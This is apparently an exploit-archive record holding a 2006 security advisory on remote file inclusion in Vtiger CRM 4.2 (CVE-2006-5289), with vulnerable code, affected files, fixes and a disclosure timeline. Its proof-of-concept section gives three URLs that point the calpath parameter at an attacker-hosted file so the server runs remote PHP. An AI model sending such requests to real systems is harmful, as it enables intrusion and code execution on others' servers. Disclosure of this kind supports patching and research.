{"exploit":{"id":"EDB-2508","name":"Vtiger CRM 4.2 - 'calpath' Multiple Remote File Inclusions (RFI)","description":"Vtiger CRM 4.2 - 'calpath' Multiple Remote File Inclusions (RFI)","cves":["CVE-2006-5289"],"author":"the_day","published":"2006-10-10","platform":"php","type":"webapps","language":"Text","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/2508","path":"exploits/php/webapps/2508.txt","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-2508.txt","vulnerabilities":[{"id":"CVE-2006-5289","state":"PUBLISHED","title":null,"titleSource":null,"description":"Multiple PHP remote file inclusion vulnerabilities in Vtiger CRM 4.2 and earlier allow remote attackers to execute arbitrary PHP code via a URL in the calpath parameter to (1) modules/Calendar/admin/update.php, (2) modules/Calendar/admin/scheme.php, or (3) modules/Calendar/calendar.php.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2006-5289","cvss":{"version":"2.0","baseScore":7.5,"severity":"high","vectorString":"AV:N/AC:L/Au:N/C:P/I:P/A:P","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2006-5289"},"updatedAt":"2024-08-07T19:48:28.676Z","retrievedAt":"2026-11-27T11:07:05.646Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-2508.png?v=2","url":"https://exploitbin.com/exploits/EDB-2508","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-2508/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-2508/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"____________________   ___ ___ ________\n\\_   _____/\\_   ___ \\ /   |   \\\\_____  \\\n |    __)_ /    \\  \\//    ~    \\/   |   \\\n |        \\\\     \\___\\    Y    /    |    \\\n/_______  / \\______  /\\___|_  /\\_______  /\n        \\/         \\/       \\/         \\/                              .OR.ID\nECHO_ADV_54$2006\n\n-----------------------------------------------------------------------------------------------\n[ECHO_ADV_54$2006]vtiger CRM  <=4.2 (calpath) Multiple Remote File Inclusion Vulnerability\n-----------------------------------------------------------------------------------------------\n\nAuthor\t\t: Dedi Dwianto a.k.a the_day\nDate Found\t: October, 09th 2006\nLocation\t: Indonesia, Jakarta\nweb\t\t: http://advisories.echo.or.id/adv/adv54-theday-2006.txt\nCritical Lvl\t: Highly critical\nImpact\t\t: System access\nWhere\t\t: From Remote\n---------------------------------------------------------------------------\n\nAffected software description:\n~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nApplication\t: Vtiger CRM\nversion\t\t: <=4.2\nURL\t\t: http://vtiger.com\n\nvtiger CRM is 100% Open Source Customer Relationship Management solution built over\nLAMP/WAMP stack and other third-party open source packages.\nvtiger CRM software can be installed in Windows NT/2000/XP/2003 and different types\nUnix/Linux-based distributions, such as RedHat 7.2/8.0/9.0, Debian 3.0, SuSe 9.0, Fedora Core 3.0,\nMandrake 10.0, Mac OS, and FreeBSD.\n---------------------------------------------------------------------------\n\nVulnerability:\n~~~~~~~~~~~~~\n\nIn folder modules/Calendar/admin/ I found vulnerability script update.php\n--------------------------update.php---------------------------------------\n....\n<?\n\n  include_once $calpath .'webelements.p3';\n  include_once $calpath .'permission.p3';\n...\n----------------------------------------------------------\n\nInput passed to the \"$calpath\" parameter in update.php is not\nproperly verified before being used. This can be exploited to execute\narbitrary PHP code by including files from local or external\nresources.\n\nAlso affected files on Files:\n\nmodules/Calendar/admin/update.php\nmodules/Calendar/admin/scheme.php\nmodules/Calendar/calendar.php\n\n\nProof Of Concept:\n~~~~~~~~~~~~~~\n\nhttp://target.com/[vtiger_crm_path]/modules/Calendar/admin/update.php?calpath=http://attacker.com/inject.txt?\nhttp://target.com/[vtiger_crm_path]/modules/Calendar/scheme.php?calpath=http://attacker.com/inject.txt?\nhttp://target.com/[vtiger_crm_path]/modules/Calendar/calendar.php?calpath=http://attacker.com/inject.txt?\n\nSolution:\n~~~~~~\n- Upgrade to Vtiger CRM 5.0\n- Sanitize variable $calpath on affected files.\n- Turn off register_globals\n\nTimeline:\n~~~~~~\n09 - 10 - 2006 Bugs Found\n09 - 10 - 2006 Vendor Contact\n09 - 10 - Public Disclosure\n\n---------------------------------------------------------------------------\n\nShoutz:\n~~\n~ y3dips,moby,comex,z3r0byt3,K-159,c-a-s-e,S`to,lirva32,anonymous\n~ Jessy My Brain\n~ az001,boom_3x,mathdule,angelia\n~ newbie_hacker@yahoogroups.com\n~ #aikmel - #e-c-h-o @irc.dal.net\n------------------------------------------------------------------------\n---\nContact:\n~~~\n     EcHo Research & Development Center\n     the_day[at]echo[dot]or[dot]id\n\n# milw0rm.com [2006-10-10]","sha256":"6f2412e92838501ce77c801e57fe2292c2088f29dee6aeed24f6b40e48d17dc9","bytes":3186,"fetchedAt":"2026-11-27T11:07:03.884Z","encoding":"utf-8 (display only; download retains original bytes)"}